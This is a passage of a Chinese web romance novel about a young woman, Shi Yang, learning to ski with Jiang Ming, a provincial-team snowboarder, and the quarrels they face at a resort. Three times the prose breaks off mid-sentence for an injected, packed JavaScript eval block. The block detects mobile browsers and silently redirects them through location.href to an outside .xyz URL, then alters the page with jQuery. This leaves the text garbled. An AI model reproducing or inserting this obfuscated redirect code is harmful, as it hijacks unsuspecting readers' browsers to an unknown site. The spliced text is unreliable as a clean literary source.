“试一下,用足弓发力,弯弯脚趾把我按着的地方往上顶。”
时漾只是略微思考,就顺利找到了发力部位。
“聪明。”
夸了一句,他的手又分别按住膝盖和脚踝,
“足弓发力,微微屈膝,感受一下脚踝发力,让你的小腿前侧贴紧雪鞋的鞋舌。”
江鸣讲得详细又具体,不像是网上教程里那种抽象的肌肉发力概念,她很快就掌握住其中关窍。
足弓和脚踝一发力,她的身体自然而然地微微前倾,膝盖也找到了最舒适的弯曲角度,她的动作已经初具雏形。
“就是这样。”
“你看,我就说我肯定能学会!”
江鸣淡笑着点点头,紧接着开始教她了怎么往前走,滑动的时候如何控制身体,怎么刹车,摔倒了怎么处理。
只要找到正确的发力方式,双板的雪板很好控制,众多的姿势都可以由雪板的动作控制。
再次得到江鸣的肯定,时漾就迫不及待地想到上头的出发点滑一次试试。
江鸣没有反对,陪着她坐魔毯到稍低的那个出发点,在她出发前又叮嘱了几次注意事项。
不管他说什么,时漾都是胡乱点头答应,看着滑道,她的心早就顺着滑到底了。
这可是她第一次滑雪,珍贵的人生初体验!
最后检查了一遍她的鞋扣,江鸣退开几步,“大胆去试试吧,我在。”
下一秒,时漾信心满满地出发,等到速度逐渐上来,她才后知后觉紧张起来,脑海里不断回播江鸣交代的注意事项:
膝盖微微弯曲前压,小腿的前倾角度和身体保持一致。
手臂从自然垂落状态自然抬起,手肘弯曲,腕心相对。
雪杖向后收稍稍离地,确保双手在正前方,视线专注眼前……
整个过程都还算平稳,快到底了,她刚松一口气,想庆祝一下,侧面却忽然出现了两个路人横穿雪场。
一个年轻的男人带着一个年纪不大的小孩儿,在雪场里走路有些打滑,他们的速度不快,但是也没有留意滑道状况。
她按照这个速度直冲下去,他们肯定会撞在一起。
但如果贸然转弯,就算她不摔倒,路人慌张躲避的情况下,也未必能躲开。
时漾吓了一跳,脑袋一片空白,一瞬间方寸大乱,连怎么刹车都记不清了。
江鸣忽然出现在她身侧,他的速度控制的极好,始终在她身后半个身位的位置,他喊道,
“别慌!开腿,膝盖内扣,脚呈八字,能做到的话,可以微微立刃减速。”
他滑着单板,需要不断摇摆控制平衡,他将护脸拉了下来,风几乎将他的声音全部吹散,但他的声音出现的那一刻,
时漾的心猛然安定了下来。
理智回笼,她按照江鸣的指示操作,刀刃扬起的雪扑在她的裤腿上,速度也逐渐慢下来。
“丢掉雪杖,低头,下巴内收保护好后脑勺,尝试往右边躺倒。”
时漾毫不犹豫的丢掉了手上的雪杖,抬手护住脑袋,放低重心尝试往右边倒。
她一屁股坐在雪地上,肩膀也狠狠磕在地上,手臂垫住了头,仍然把她震的有些头晕。
滑板终于停下,刚好就停在两个路人面前,小孩儿被吓了一跳,径直扑进父亲怀里。
江鸣从他们身边滑过去,在远处刹车停下。
刚刚那对父子已经反应过来,对着还没爬起来的时漾嚷嚷起来,
“你这个小姑娘怎么事,不看人啊?”
“我不看人?难道雪场没规定不能横穿滑道吗?”
时漾感觉自己从尾椎骨到肩膀上都是麻的,一时半会儿缓不过来,爬不起来,吵架连气势都弱了三分。
“你还嘴硬呢你,你别以为你是个女的我就不敢说你,你……”
下一刻,有人从身后推了他一把,男人踉跄一下,险些把怀里的孩子推出去,等他反应过来,江鸣已经挡在了时漾身前,
“你那脸长得跟进锅煮裂了似的,那么大张脸欺负个小姑娘算什么本事?”
那对父子是本地人,江鸣也说了东北话,虽然时漾不大明白他说了什么,但是也听得出来骂的很脏。
“你他妈谁啊,关你什么事?轮到你英雄救美了。”
江鸣回身把时漾拉了起来,柔声询问,“没事吧?”
态度的转变快的令时漾都有些恍惚,摇头,“没事。”
大致检查了一下她的关节,江鸣再次转过身跟那个男人对线,
“就轮到我了怎么的?你那么厉害我还以为你有理呢,只敢说小姑娘呗?见到我怎么哑火儿了就想赶我走呢?”
“你上那婚恋市场上找不着人你看老太太都眉清目秀,那褶子你都乐当刮刮乐是吧。”
江鸣的输出速度太快,把对面的父子吓得目瞪口呆,小孩儿放声大哭起来,男人赶忙打断他的话,
“你说的什么屁话,老子听不懂,老子就知道她差点撞到我儿子,不会滑就别来滑,装个什么劲儿。”
“滑雪场守则里有一条是不能横穿滑道吧,你个虎比哨子眉毛底下挂俩蛋,只会出气儿不会看是吧。”
“什么守则,没看过。”男人耍混。
“行嗷,那我让人来教教你。”
他话音落,两个穿着度假区保安制服的人走上来,
“不好意思先生,您的行为违反了园区规定,危害了其他游客的人身安全,请您跟我离开滑道。”
“你什么时候叫的保安,大老爷儿玩阴的,脸不红吗?”
“跟你这种不讲理的人,我没什么好讲的,你一个大老爷们儿欺负小姑娘都不害臊,我有什么好脸红的。”
见保安要动手架自己,那个男人转向保安,“我们双方的矛盾就针对我一个是吧?”
保安没有多解释,只是沉默着带着男人和小孩离开,离开之前还向江鸣点头示意了下。
“帅啊。”
时漾目送男人离开,拍了拍江鸣的肩,“你不会是还有隐藏身份吧,保安怎么对你那么特殊。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879744|159752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“废话,队里每年给他们景区交百万会费。”
虽然这钱不是他交的,但是省队交这些钱除了需要场地之外,也有服务费,他作为省队队员享受优待也是应该的。
“而且这里有很多专业爱好者做练习,出现这种不守规矩的人容易出现事故,驱逐一个只损失几张票钱,等真出事了,就不是几百块的事儿了,尤其是我们省队的队员,每一个身上的保险,都够景区赔个顷家荡了。”
时漾点点头,没怎么听进去,很快换了话题,“不过你刚刚那样,又颠覆了我对你的认知。”
“怎么了?被我帅到了?”
时漾托着下巴做思考状,半晌才说,“还是你刚刚出现在我身边滑雪的时候更帅,说话一般。”
方言影响颜值这件事,对北方人来说更为残酷。
“……噢”
这是破防了。时漾捂着嘴偷笑。
见江鸣转身要走,她立刻扯住他的袖子哎呦哎呦地惨叫,
“我的肩膀好疼啊,胳膊也疼,屁股也疼,我浑身都疼,我都这么惨了你还要跟我计较。”
江鸣站住脚步,僵硬着将自己的袖子扯出来,转回来,一脸无奈,
“还能坚持吗?我们现在走。”
“不要。”
还没玩尽兴,时漾拒绝他离开的提议,
“你带我滑。”
意识到自己又被时漾拿捏的江鸣耳根一热,转身更加决绝,走出几步后叹了口气,侧头,“走吧,上去。”
时漾捡起自己的雪板蹦蹦跳跳地跟上去,“你别生气了呗,你刚刚超帅好吧,帅的有点超过了,都把我帅到了。”
“……”
江鸣不想说话。
他们再次登顶,江鸣穿上雪板站好,“怎么带?”
“公主抱?行吗?”
江鸣挑眉,思考了一下她话里的意思,小姑娘都不介意,这个行吗是怕他介意还是怕他抱不起来?
“只要你不介意,我也不介意。”
时漾犹豫了下,“这个……安全吗?”
“至少我不会把你丢出去。”
别人可以,他自然也可以,小姑娘这是在质疑他的技术啊。
没等小姑娘再发话,他直接俯身抄起她的膝盖,另一只手托住她的后背,打横将她抱起来。
小姑娘穿的鼓鼓囊囊,抱起来却像纸片一样轻,好像还不如他训练时的负重。
又柔软的如同一片羽毛,带着丝丝不易察觉的馨香。
时漾惊呼了一声,下意识抬手环住江鸣的脖子。
她缩在江鸣怀里,能清晰感觉到他有力的手臂将她稳稳托住,耳朵恰好靠在他胸口,隔着厚重的滑雪服,他的心跳像是鼓点,有力,急促。
江鸣从原地出发,两个人俯冲而下,他一路稳稳当当,甚至还能耍宝转上几圈,把时漾吓得越抱越紧。
等滑到了底,她仍然惊魂未定。
江鸣站在原地,叹了口气,“要一直这样抱着吗?”
怀里一轻,时漾已经跳下来,指着旁边一个坐在滑雪板上被人带着下来的女孩,对江鸣道,
“再来一次行不行!我也想那样玩儿!”
“好。”
9. 他不一样
他们再次回到上面,时漾还吵着嚷着要换一个更高的滑道,江鸣拗不过,换了中级滑道。
又滑了几次,时漾终于玩够了,吸取了之前的教训,她也没继续要求留在室外,两个人离开的时候,江鸣双手都提着板子,而时漾一身轻松。
还没走出滑雪场,时漾就被两个小姑娘拦住去路,两个人神情真挚恳切,
一个说,“小姐姐,你这个教练在哪儿找的啊?”
另外一个直接问,“你是不是结束了?那我们可以直接找他吗?”
江鸣在小姑娘身边站定,侧头看她,等着听她的回答。
“他不是教练。”时漾皱皱眉,回复还算礼貌。
两个女孩儿对视一眼,尴尬道,“不,不好意思啊,这是你……男朋友吗?”
时漾脸一红,“也不是……”
“啊?不是你男朋友还能抱着你滑啊?是网上的那种特别服务吗?”
“不是你男朋友我们就可以约吧?我们刚刚看了半天了,真的好帅啊。”
“对啊对啊,我们刚刚看了好久,还拍了一些视频,我可以把视频和照片发给你,你就让给我们吧,反正你也滑完了。”
比起刚刚两个女孩絮絮叨叨的那些话,还是照片和视频对时漾更有吸引力,她看了一眼江鸣,掏出手机就要和其中的一个女生加微信,
“你先把照片发给我,我看看。”
那个女生见有戏,立刻掏出手机加上了好友,直接全选了她们刚刚照片和视频发送。
她们以为时漾这算是答应了,于是另外一个女孩直接转向江鸣,
“小哥哥,你带带我们呗,我们第一次来滑雪,需要一个靠谱的教练。”
你们第一次滑雪关他什么事?时漾啧了声,刚打算拒绝,就被江鸣拉住。
毕竟她刚刚要了人家的照片,现在又开口拒绝,很容易被骂。
时漾朝他投去不解的眼神,小声道,“你真要带他们啊?”
江鸣看向两个女孩,开口,
“我的收费很贵。”
面对两个陌生的女孩,江鸣的语气冷硬,时漾觉得第一次见到他的时候,他的态度都没有这么冷淡,甚至还能感觉出来一点温柔,上了车之后就更热情了。
虽然很可能是最开始把她当成小孩儿的缘故。
时漾神游着,两个女孩对视了一眼,试探着询问,
“能有多贵?我记得园区里的教练收费还可以。”
江鸣了解过,度假区内的教练收费一个小时二百到六百不等,分项目按时期和时长收费,但是他可不是园区的教练。
园区里也请不起他。
他面无表情,淡淡道,“一千五百块一个小时,只教单板。”
他见过滑雪场的教练,不算太专业,大多数最多糊弄糊弄初学者,按照他的技术收费,价格是他们的两倍也是应该的。
“你什么教练,长得帅一点真把自己当盘菜了,你狮子大开口啊,而且哪有新手上来就学单板的,你是不是专业的啊。”
两个姑娘立刻不乐意了,蹙着眉大喊起来。
时漾立刻把江鸣拉到身后,
“他就是帅啊,不帅你们会上来问吗?都说了很贵你们非要问,现在又不乐意,他可是省队的滑雪运动员,不带新人,也有贵的资本,轮得到你们挑吗?”
她昂着头,像一只炸毛的小猫。
柔软的后背给江鸣,而张牙舞爪的另一面只给别人。
鬼使神差的,江鸣抬手摸了摸她的脑袋。
嗯,和想象中一样,毛茸茸的。
时漾的身体僵了一下,回头疑惑地看向他,他的视线移开,满脸心虚,收回手扯了扯她的帽子,
“走了。”
小姑娘很显然并不会吵架,像是那种吵架吵着会把自己吵哭的人,现在以一敌二,明显不占优势。
当然,本身也没必要吵。
瞪了那两个女孩儿一眼,拉着江鸣的袖子就气冲冲地离开原地,江鸣手上的拖着两个板子,走得踉踉跄跄。
时间不允许,他们计划在旅游度假区住一晚。
度假区里有一家森林温泉酒店,在半山腰的位置,一年四季都有天然的温泉,环境很好,队里来训练时也经常入住。
办完入住各自回房间,江鸣想了想还是出门去省队的休息厅里取了常备药箱里的一瓶药酒,去敲了时漾的房门。
“谁啊?”
时漾没有开门,声音里带了些戒备。
“我,江鸣。”
听见他的声音,房门很快打开,小姑娘从门缝里探出头,“怎么了?”
“不知道你摔的重不重,给你送一瓶药酒,哪里有红肿可以揉一下。”
江鸣摊开手掌,小瓶装的药酒稳稳地躺在他手心,玻璃瓶上沾染了他的温度。
“都暖热了,你在门口站了多久?”
“……”
被人揭穿的江鸣垂下眼,否认,“没有。”
“要不咱们去泡温泉吧,我感觉我不止摔的痛,肌肉也有点痛。”
时漾看起来只是随口一提,她眨着眼,眼神干净,但江鸣却忍不住红了脸。
一股热气从他的脚底直窜到头顶。
虽然温泉是要穿泳衣的,但是这样的尺度对于他们现在的关系来说,似乎有点太大了。
“你自己去吧……”
“我刚刚问了下,是男女混汤,我自己有点害怕。”
“我没有带泳衣。”江鸣继续找借口。
“我看见这里有温泉我就带了,你怎么不上心呢,我再给你买一件,你就陪我去嘛。”
“……”
泡温泉这件事本来就……小姑娘要是再给他买一条泳裤,他真的恨不得温泉烫死他。
“你害羞了?”
时漾凑近,即使江鸣不低头时她看不清他脸上的神情,但是他整个人从耳朵红到脖子根,太过显眼。
江鸣被气笑了,“你一个小姑娘……”
还是一个南方小姑娘,现在未免放的太开了。
江鸣的话没说完,但时漾也瞬间红了脸,“哎呀,我开玩笑的。”
时漾败下阵来,她就是拿到药酒察觉到江鸣不太对劲逗他玩,真要是让她去和他一起泡温泉,她也觉得不太好意思。
“你,你还有事吗?”
“没事,早点休息。”
-
时漾关上门洗了个热水澡,洗澡的时候才发现她的腰侧,肩膀还有手肘都有红肿。
她将双手搓热给自己擦上药酒。
擦完药,红肿处微微发热,酸痛的感觉减轻了不少。
她趴在床上捧着药酒看。
外面的天已经黑了,滑雪场关闭,周围的环境彻底安静下来。
“他还挺细心的。”时漾轻笑出声。
手机突然的来电铃声打断了她的思绪,她看了一眼来电人接起来,
“小羊,我好想你啊——你什么时候回来啊——”
沈秋余,时漾父亲早年战友的女儿,他们退伍转业后又买了同一个小区的房子,两家经常会面,连带着两个年纪相仿的孩子也成为了闺中密友。
沈比她大一岁,她们也经常一起外出旅行,但今年她正是忙着毕业的时候,有心而无力。
她们两个联系很频繁,她在哈尔滨的这段时间也每天都会给她发微信,但是她们很少打视频。
看见沈秋余的表情,时漾就觉得事情不对劲,拒绝了她的煽情,严肃道,
“沈秋余,你是不是又跟那个男的和好了?”
“……”沈秋余面色一僵,嘟嘟囔囔,“什么都瞒不过你。”
“我说你图他什么,他……”
“哎呀你别骂我了,这些话我都听得耳朵起茧子了,我都知道,但我是真的很喜欢他啊。”
恋爱脑去死。
时漾翻了个白眼,“抛开这个男的不谈,你还有什么事?”
“那没有了。”沈秋余十分坦诚,不过很快话锋一转,“你就没什么跟我说的吗?刚刚你一接视频我就看出来你满面春风的,在哈尔滨有艳遇啊?”
“……”
时漾沉默了下,脑海里忍不住浮现出江鸣的样子。
轻微的表情变化落入沈秋余眼中,“快如实交代!”
“确实认识了一个,不过谈不上艳遇。”
时漾将她和江鸣认识的过程全盘托出,沈秋余听得津津有味,最后总结了一句,
“还挺甜的,有点像小说剧情。”
“他帅不帅?多高?人好不好?”
她问了一连串问题,时漾有点烦,淡淡道,“反正比你那个强。”
其实要回答也很简单,在时漾接触过的为数不多的男人里,江鸣算得上很帅,个子也高,性格也很好,该绅士的时候极有绅士风度,减少了许多不必要的肢体接触,正事上很严肃,平时也有幽默,称得上好。
“不是说不提吗……”沈秋余无语。
她也不喜欢和时漾提起这个男朋友,时漾总能变着花样,讽刺内涵他们两个,嘴毒的能把自己毒死。
“不过你有没有打算跟他发展发展啊,东北有点太远了。”
“你说的好像我多有魅力一样,我打算发展人家就跟我发展啊,而且我是那么随随便便就会喜欢上别人的人吗?我承认他人还不错,不过我对他也没什么感觉。”
“我们家小羊就是很有魅力啊,不要怀疑自己的魅力好吗?”
“你差不多得了,关心男人还不如关心关心我,我跟你说,我今天在这边滑雪差
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879745|159752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点撞到人,那个男的一点也不讲道理……”
时漾换了个话题,打开话匣子,详细描述了自己是怎么学会滑雪,过程中为什么差点发生事故,以及江鸣和那个男人对骂的英勇,最后绕回正题,向对面展示自己身上的红肿伤痕。
“要不是有他在,我一个人肯定就要吃亏了,到时候就不止这点红肿了,说不定你就见不到我了。”
她吸了吸鼻子,抬手假装擦眼泪。
沈秋余打断她,“别演。”
“说好了不提男人了,你说着说着,不是又说回去了吗?咱们三十分钟的通话你说他说了一半时间,这是没感觉啊。”
“……不跟你说了,我要睡觉去了,你都不知道东北室内有多舒服,干燥温暖,睡一觉起来神清气爽。”
“你别嘚瑟,等我毕业了我也去玩儿。”
挂断了和沈秋余的通话,时漾翻了个身躺在床上,手上还握着那瓶药酒,屋子里很暖和,她的手也热,瓶身也是温热的。
想到刚刚从江鸣手里接过那瓶药酒的时候,温度甚至比现在还高,像是在手里攥了很久。
她玩笑似的询问江鸣是不是在门口犹豫了很久,他虽然矢口否认,但视线却是躲避的,像是小心思被人戳中的心虚。
而且最近,他似乎特别容易脸红。
“难道他真的喜欢上我了?”时漾喃喃自语。
很快,她摇摇头,“不行不行,打死我老时也不会同意我远嫁的,而且东北也太远了,我们是不可能的!”
“叮咚叮咚”
手机又响了两声,屏幕上弹出了江鸣的名字,他发来了两条微信消息,最后一条是“行吗?”
什么行吗?
时漾莫名有点不敢点开看。
他们两个今天有了那么多肢体接触,还互相维护,他给药酒的时候还那么纠结,万一江鸣是脑子一热要表白呢?
她肯定不能答应的,但是如果拒绝了,她岂不是就失去了这个好用又贴心的导游。
她咬着下唇,视死如归的点开对话框,来不及仔细看消息,几乎是闭着眼打字回复,
[不行!!]
江鸣秒回,手机又响了一声,时漾用手捂着眼睛,从手指缝里偷看手机屏幕,
江鸣:[?]
“?”
他问的什么……不能拒绝吗?
时漾鼓起勇气拿开手,仔细看江鸣发来的消息,他在微信上的信息一向简短,
[我明天有在雪场的实地训练,暂时不能陪你回市里,不过你也可以留下来看。]
[行吗?]
“……”发消息不能一条发完吗?
时漾讪讪地撤回了刚刚的那句不行,幸亏还没有超过两分钟。
[发错了……]
[行行行!我很乐意看!]
[你这种的参加比赛我还不一定能抢到现场的票呢,当然看!]
[机会可遇不可求嘛~]
[嘻嘻.jpg]
时漾发了一串信息,似乎只要把刚刚的信息刷上去,就可以当做什么都没有发生过。
江鸣不明所以,但还是回复,
[我的训练很早,但是你不用着急,等我做完热身训练去雪场的时候给你发消息。]
[好~]
[你早点休息,不要影响明天训练。]
江鸣:[嗯,那你也早点睡。]
“……”
自恋是一种病,得治。
时漾把药酒放好,在床上打了几个滚,脑海里不断回放刚刚的尴尬片段,最后,她扯过被子把自己的头蒙住,无声尖叫。
简直太尴尬了!还好江鸣没有反应过来,她也只是委婉含蓄地回了一句不行,不然让他知道自己在脑补什么,还不把他笑死!
都怪沈秋余!非要引导她讨论这些,老时和杨女士非常注重她的教育问题,一直到现在她都没谈过恋爱。
她从高中读文科,到大学走进艺术专业,身边根本没几个男的,就算有,也根本不是她的理想型。
她习惯于自觉的和异性保持距离,就连刚认识江鸣时也是,带着戒备和疏离。
完全放下心里的防备,大概是看见他在地铁口和大娘砍价,为了给她买耳罩和手套。
又或者,是他对着她的撒娇无奈叹气,又每每满足她的请求。
还是因为他在暖房里塞进她掌心里的那个烤红薯。
她自己也说不清楚,但江鸣身上,有一种独特的吸引力,和她人生前二十年接触过的任何异性都不同。
她的课业从来没有落后过,但在感情上却称得上愚钝。
如果不是今晚沈秋余的电话,她根本不会突然思考这个问题,也不会忽然意识到,江鸣对她来说,好像已经有些不一样了。
10. 怕你吃亏
多思多梦,哪怕温泉酒店的环境静谧而温暖,时漾这一觉也睡得并不安稳,睡得很晚,早上八点就又醒了。
她打开手机,最上面的是江鸣发来的信息,
[早上酒店二楼有早餐,记得去吃。]
[我大概十点开始正式训练。]
[地点在新体委滑雪场,有点远,记得坐景区大巴。]
[来的时候给我发信息。]
时漾回了句好,在床上翻了个身,昨天身上酸痛的不适感已经好了很多,淡淡的药酒味还没有散完,萦绕在她鼻尖。
她一抬眼,就看见了床头剩下的半瓶。
其实昨天她都没想起来给自己涂药这回事。
她平时有些粗心,走个路都能磕磕碰碰的,身上经常出现不知道什么时候留下的大大小小的淤青,她从不重视。
而江鸣,虽然看起来大大咧咧,心却很细。
以前杨慧女士就经常吐槽,她以后要找一个像老时一样能容忍她大小姐脾气的另一半,最好心细一点,把她生活的方方面面处理到位。
每次老时都不愿意,嚷嚷着自己的女儿自己宠,轮不着别人,让她擦亮眼睛,别被男人一时的温柔伪装欺骗了。
从时漾小时候开始,就经常听见长辈会说,女孩子不学会什么什么就嫁不出去,嫁出去了也会怎么怎么样,这个时候老时总是站出来让他们不许在他女儿面前胡说八道。
在他的观念里,时漾生下来就是做她的女儿,也是做自己,从不是为了做谁的妻子,谁家的儿媳。
所以就算一辈子不嫁人也没关系,如果非要嫁,那也要找个近一些的。
如果他们两个吵架,十分钟之内老时的巴掌还没落到男人脸上,就算远嫁。
江鸣这样的,估计老时看一眼就要乱棍打出去了。
这个距离别说十分钟,十个小时他也挨不上老时一巴掌。
被自己的脑补逗笑,时漾的脑子也清醒了不少,爬起来洗了个澡,冲掉了身上不太好闻的药酒味。
她收拾好出门时,已经九点多了。
滑雪场的雪道在八点钟开放,大多数人八点多就出门了,所以餐厅里的人不多,时漾随便挑了些菜找了个靠窗的位置坐下。
这个窗外的风景很好。
应该说是这个酒店窗外的风景都很好,窗外的整个世界都被纯净的白色覆盖,没有其他纷杂的颜色,清晨的阳光透过稀疏云层,洒在山峰的轮廓上,明媚,神圣。
有些房间还能直接看到滑雪场的雪道,喧嚣热闹的人气和远处静谧的群山呼应,又是一幅独特的风景。
这样的景色对于时漾这个艺术生来说,更有着致命的吸引力,自然画卷上的每一笔,都是对艺术家的启发。
“诶,听说今天省滑雪队的人在这里训练,你们说咱们能不能去看啊。”
身后的议论声惊醒了时漾,提到了她感兴趣的关键词,她忍不住竖起耳朵去听。
哪怕这样的偷听行为并不礼貌,但是谁让她们讲得那么大声。
听口音,他们应该不是东北本地人,估计是来旅行的。
两男两女聚在一起,女孩只是问了一句,对面的男生立刻否定了她,
“怎么可能给你看,人家训练肯定都清场的。”
“滑雪场那么大,怎么清场也总会被人看到吧……我还挺想去看看的,也不知道今天的训练江鸣会不会在。”
“你喜欢江鸣?”
另外一个男孩出声反问,话里似乎带着不解和质疑,听起来他应该不喜欢江鸣。
“对啊,你不觉得他很帅吗?186的完美身高,滑雪技术也好,年少成名啊。”
“……?”
可能她的注意力有点偏了,但江鸣不是说他185吗,什么时候186了?
难道他们的身高差有整整三十厘米!
“你们女人真肤浅。”
男人切了声,批评说话的女生的同时,还在点评江鸣,
“你懂滑雪吗你?江鸣他是年少成名,但是15岁到现在,有六年了吧,他这么多年有什么成绩吗?也就比比全国赛了,连亚洲都走不出去。”
“那么大年纪了又不出成绩,还不愿意退役,这次还要浪费亚冬会名额给他去丢脸吗?还不如让他赶紧给年轻人让位置。”
“他才21岁,怎么就年纪大了,那你都26了你怎么不说。”
他话说的难听,同行的女孩也不想忍耐他,直直地怼了回去。
“你懂体育吗?滑雪又不是别的什么,吃得不就是青春饭吗?你看看滑雪场上的选手都多大。”
女孩被堵的哑口无言。
在国内,人才很多,年轻的人才也很多,几乎每年每个项目都是新人辈出,尤其像滑雪,体操这样对身体素质要求很高的项目,运动员普遍年纪都小,这是人尽皆知的事实。
见女孩沉默,那个男人得理不饶人,嘴上说个不停,“你们这些女的根本就不懂体育,就是看个热闹,光顾着看谁长得好看了,好看有用吗?不还是废物一个。”
“你……”
女孩刚想开口,就被砰的一声打断。
她疑惑的看向声源处,只看见一个背对着她们的女孩拍了拍桌子,
男人没来得及回头,就听见那个女孩开口,
“2006年冬奥会,M国20岁的单板滑雪运动员拿下了他人生中的首枚冬奥金牌,2022年,35岁的他依然参加了冬奥会,并且进入了决赛。”
时漾的声音不大,但字字掷地有声,“见识短浅的是你。”
“你很懂滑雪吗?”
被人反驳,男人面子上挂不住,站起来就要和时漾理论。
时漾很镇定,仍然坐着,她摇摇头举起了自己的手机,“我不懂,刚刚上网搜索到的,这样的例子还有很多,需要我一个一个念给你听吗?”
“别说废话,就说你想表达什么?”
男人拍拍时漾坐着的桌子,整张桌子抖了抖,时漾还没来得及喝的温水都洒出来,旁边桌上的女孩立刻给她递了纸巾。
时漾对她笑笑,柔声道了句谢。
转头再看向男人时,语调倏地冷下来,
“我不想表达什么,对于运动员来说,这是他们的职业,训不训练,退不退役都是他们自己的人生选择,就像你上不上班,退不退休,是你自己的人生选择,轮不到旁人指手画脚。”
“再者,别人喜欢谁,视谁做偶像,也轮不到你管,你也不见得懂体育,你根本就不懂体育精神。”
即使她没看过江鸣的比赛,也从没问过他为什么选择做运动员,但是她知道,选择走这条路的人,都有属于他内心的坚守。
江鸣也一定有。
没有人,能诋毁他们。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879746|159752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还有他。
“他妈的现在在外面说个话都有人多管闲事了是吧?你吃饱了撑的啊?还是我刚刚戳到你哪里了?”
男人轻蔑地笑着,视线在时漾和刚刚和他争吵的女孩身上扫过,摸了摸下巴,做出一副恍然大悟的样子,
“你该不会是也喜欢江鸣,是天天拿他的照片当壁纸,对着他喊老公的那种人吧?人家认识你们吗?是不是他说要上你们你们也高高兴兴地就骑上去了?”
“陆良你闭嘴!”
那个女孩抬手要打他,被时漾拦下来,她对着女孩摇摇头,示意她稍安勿躁。
虽然她看着叫陆良的男人的嘴脸也很想扇他一巴掌,但是她不能先动手。
她们是女孩,打起架来当然吃亏,先动手的报警也不占理。
“你说完了吗?说完的话,我就把录音交给警察了,造谣诽谤,侮辱我的人格,我会找律师起诉你。”
“你他妈唬谁呢?我是吓大的吗?你尽管报警。”
嘴上说着不怕,他却抬手准备抢时漾的手机。
时漾后退了一步,把凳子挡在自己面前,
“你最好别碰我,否则我就告你寻衅滋事,动手打人!”
酒店的保安注意到这边的动静,已经靠过来。
昨天时漾和江鸣是一起办理入住的,他们对时漾有点印象,下意识站在了她身边,呈保护姿态。
陆良站在原地,一时之间骂也不能骂,打也不能打。
见男人哑火,时漾抓紧间隙输出起来,
“你这种人我见的多了,你就是嫉妒人家江鸣有才华有特长有人喜欢,而你,无人在意,所以你要用诋毁,来满足你爆炸的嫉妒心,来隐藏你内心的阴暗。”
“噢对了,你还看不起女人,你觉得女孩就是不懂体育,不懂游戏,不懂你们男生喜欢的动漫,她们就不应该来沾边,就是头发长见识短,就是肤浅,但是谁规定了什么东西只能男人喜欢吗?你是不是也怕女人懂得多不好骗啊?”
她冷笑了一声,看向女孩,
“姐妹,这样的男人,可以把他从你的朋友圈毕业了,别听他的鬼话,咱们想喜欢什么就可以喜欢什么,因为什么喜欢都可以。”
女孩点点头,也对着陆良骂了几句,最后还伸手问他要钱,
“来的机票门票和酒店都是我订的,就差你没有把钱还给我了,一共三千六百五十三块,我一块钱都不多要你的,现在还钱。”
时漾捂住嘴,惊讶道,“原来你还吃软饭啊。”
陆良咬牙切齿,“什么吃软饭,我只是想行程结束之后一起发给她。”
“不用等了,我不会继续跟你一起玩儿了。”
“人家都发话了,你快还啊。”
时漾挑眉,一脸看热闹的样子,刚一转头就看见江鸣从餐厅入口匆匆过来,身后还跟着几个人。
“怎么回事?”
他没来得及换掉厚重的滑雪服,鞋子上带着的雪化了一地水,他衣服上带着凉气,额头上却是汗珠。
看见他,刚刚的女孩惊呼了一声,赶忙捂住嘴,眼神却死死钉在江鸣身上。
江鸣只是看向时漾。
她从角落里走出来,疑惑,“你怎么来了?”
他身后的人陆陆续续在两个人身边站定,他的语调十分僵硬,“听说你跟人起了冲突,”
“怕你吃亏。”
11. 你很厉害
“我才不会吃亏呢。”
在江鸣面前,时漾的样子和刚刚的张牙舞爪完全不同,傲娇的语气里似乎带着一点求夸奖的意味。
“别嘚瑟了,先说怎么回事,这边解决完我还要回去训练呢,我这临时跑出来,教练还跟着呢。”
江鸣看了一眼自己身边的孔章,还有跟来看热闹的队友。
孔章冷哼了声,“还知道你在训练呢,说跑就跑。”
滑雪队的其他几个队员捂住孔章的嘴,怕他耽误大家看热闹,
“没事奥,没事,你忙你的。”
“你又是谁啊,这小公主逼事儿真多。”
听见陆良出言侮辱时漾,江鸣皱了皱眉,脸色严肃起来,他刚准备开口,就被时漾拉住,
“你不认识他啊?”
“他也配我认识啊,真当自己是盘菜了。”
时漾笑起来,“刚刚点评的那么认真详细,我还以为你多了解他呢,原来不认识啊。”
说完,她转向江鸣,把自己的手机录音放给他听,
“江鸣,你听听这个。”
听见时漾喊他的名字陆良脸色变了变,连呼吸都停住了,安静的环境里一时间只剩下时漾正在播放的录音,
录音刚开头是一个女孩子的声音,他并不知道是谁,但她的一整句话都是在夸江鸣,他身后的队友都在偷笑,就连孔章都笑出声。
随后,一个尖酸刻薄的男声响起来,“你们女生就是肤浅。”
